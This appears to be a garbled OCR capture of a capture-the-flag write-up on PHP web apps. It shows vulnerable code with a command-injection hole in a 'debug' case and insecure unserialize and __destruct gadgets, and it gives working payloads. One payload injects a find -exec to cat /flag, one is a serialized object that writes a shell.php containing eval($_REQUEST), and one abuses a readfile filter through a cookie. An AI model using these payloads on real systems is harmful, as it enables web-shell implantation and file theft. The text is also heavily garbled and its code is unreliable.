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£ /wp-login.phpH:

case 'debug":

$file = addslashes($_POST([ile");

system("find /tmp -iname ".escapeshellcmd($file));
break;
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file=xxx -or -exec cat /flag ; quit
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#Ewp-includes/class-wp-cachefile.phpH:
class Template {

public $cacheFile = '/tmp/cachefile’;
public $template ="

Welcome back %s';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);

}

public function loadData($data) {

if (substr($data, 0, 2) I=="0:"

&& !preg_match('/0:d:/', $data)) {

return unserialize($data);

}

return [];

}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);

}

public function render($data) {
echo sprintf(

$this->template,
htmispecialchars($data['name’)
);

}

public function __destruct() {

$this->createCache();

}
}



new Template($_COOKIE['data');
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class Template {

public $cacheFile ="./shell.php';

public $template = 'new Template());
print_r(serialize($t));

BER BN A %4 Fpayloadk:

a:1:{i:1;0:4+8:"Template":2:{s:9:"cacheFile";s:11:"./shell.php";s:8:"template";s:28:"<?php
eval($_REQUEST[test]);";}}
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24T 1 Hinecms/dayrui/config/config.class.php
$_GET[param];

}

class FinecmsConfig{

private $config;

private $path;

public $filter;

public function __construct($config="")

$this->config = $config;

echo 123;

}
public function getConfig(){



if($this->config == "'\

$config = isset($_POST[Finecmsconfig)?$_POST[Finecmsconfig:"";
}

}

public function SetFilter($value){

if($this->filter){

foreach($this->filter as $filter){

Sarray = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}

$this->filter = array();

lelse{

return false;

}

return true;

}

public function __get($key)
$this->SetFilter($key);
die(™);

}

}
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Jfinecms/Init.phpH 7 5| A, ./finecms/Init.phpH & B T $config 2 &::
if(isset($_COOKIE['FINECMS_CONFIGT){

$config = $_COOKIE[FINECMS_CONFIGT;

require FCPATH.'dayrui/config/config.class.php';

}
A LAE 31X B $confighE# B B N $§_COOKIE[FINECMS_CONFIGT ;



BR 3R ATT BT BAAS H 3¢ ) ) payload:
class FinecmsConfig{

private $config;

private $path;

public $filter=array('readfile");

}

$c = new FinecmsConfig();
print_r(base64 encode(serialize($c)));
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